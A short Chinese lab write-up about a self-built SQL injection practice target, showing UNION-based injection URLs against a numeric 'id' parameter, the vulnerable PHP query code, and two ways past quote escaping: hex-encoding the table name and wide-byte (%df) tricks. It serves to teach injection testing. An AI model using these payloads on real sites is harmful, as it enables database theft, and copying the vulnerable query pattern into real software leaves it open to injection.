问题描述
做了一个靶场,注入点为数字类型,一开始一帆风顺,直到爆破列名的时候突然报错,页面突然就没了,毫无征兆…报错时的url如下:
?id=1 and 1=2 union select column_name,null,null,null,null from information_schema.columns where table_schema=database() and table_name=”users”
查看源码:
$sql="SELECT * FROM users where id=";
$sql.=mysql_real_escape_string($_GET["id"])." ";
$result=mysql_query($sql);
mysql_real_escape_string() 函数
用来转义 SQL 语句中使用的字符串中的特殊字符。
如果成功,则该函数返回被转义的字符串(即在字符前加”\”)。如果失败,则返回 false。
受影响的字符:
\x00 | \n | \r |
\ | ‘ | ” |
\x1a |
所以报错是因为 table_name=”users” 部分受到了转义字符的影响,变成了table_name=\”users\” ,进而无法识别而报错。所以需要进行引号转义的绕过
解决方法
将 users 转换为16进制
?id=1 and 1=2 union select column_name,null,null,null,null from information_schema.columns where table_schema=database() and table_name = 0x75736 57273
转换工具:
字符串转16进制_16进制转换、十六进制转换_汇享在线工具箱
字符串转16进制(十六进制)
http://tool.huixiang360.com/str/hex.php
注意:
如果引号出现在其他地方比如字符型的注入点上,可以通过宽字节绕过。即通过在引号前面添加%D6、%df等字符,令其与”\”组合成新的编码,解析成为汉字,以此来消除”\”对引号的影响。但此处双引号周围不能出现其他字符,只能通过转换为16进制来绕过